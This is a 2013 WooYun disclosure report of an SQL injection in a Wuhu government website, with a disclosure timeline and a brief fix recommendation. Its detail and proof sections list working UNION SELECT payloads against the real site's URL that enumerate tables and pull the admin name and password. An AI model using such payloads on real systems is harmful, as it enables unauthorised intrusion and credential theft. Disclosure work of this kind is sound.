当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033626

漏洞标题:芜湖市某政府网站SQL注入-4

相关厂商:芜湖市某站

漏洞作者: 川川

提交时间:2013-08-06 15:21

修复时间:2013-09-20 15:22

公开时间:2013-09-20 15:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-06: 细节已通知厂商并且等待厂商处理中
2013-08-10: 厂商已经确认,细节仅向厂商公开
2013-08-20: 细节向核心白帽子及相关领域专家公开
2013-08-30: 细节向普通白帽子公开
2013-09-09: 细节向实习白帽子公开
2013-09-20: 细节向公众公开

简要描述:

我爱祖国,我是中华人民共和国的好儿女。

详细说明:

注入点:
http://www.whzj.gov.cn/quality.php?fid=4
加个单引号后报错

.PNG


执行database()查看数据库
http://www.whzj.gov.cn/quality.php?fid=4 union select 1,database(),1,2,3,4,5,6,7,8
将数据库转为hex,查看数据库中的表
http://www.whzj.gov.cn/quality.php?fid=400 union select 1,binary(group_concat(table_name)),1,2,3,4,5,6,7,8 from information_schema.tables where table_schema=0x68646D303738303131365F6462

.PNG


对敏感表进行查列
http://www.whzj.gov.cn/quality.php?fid=4000 union select 1,binary(group_concat(column_name)),1,2,3,4,5,6,7,8 from information_schema.columns where table_name=0x75736572
获取敏感表内信息
http://www.whzj.gov.cn/quality.php?fid=4000 union select 1,binary(name),1,2,3,4,5,6,7,8 from user where id=2
http://www.whzj.gov.cn/quality.php?fid=4000 union select 1,binary(pwd),1,2,3,4,5,6,7,8 from user where id=2
密码为弱密码的3个数字

漏洞证明:

http://www.whzj.gov.cn/quality.php?fid=4000 union select 1,binary(name),1,2,3,4,5,6,7,8 from user where id=2
http://www.whzj.gov.cn/quality.php?fid=4000 union select 1,binary(pwd),1,2,3,4,5,6,7,8 from user where id=2

.PNG

修复方案:

过滤,预编译

版权声明:转载请注明来源 川川@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-08-10 23:16

厂商回复:

最新状态:

暂无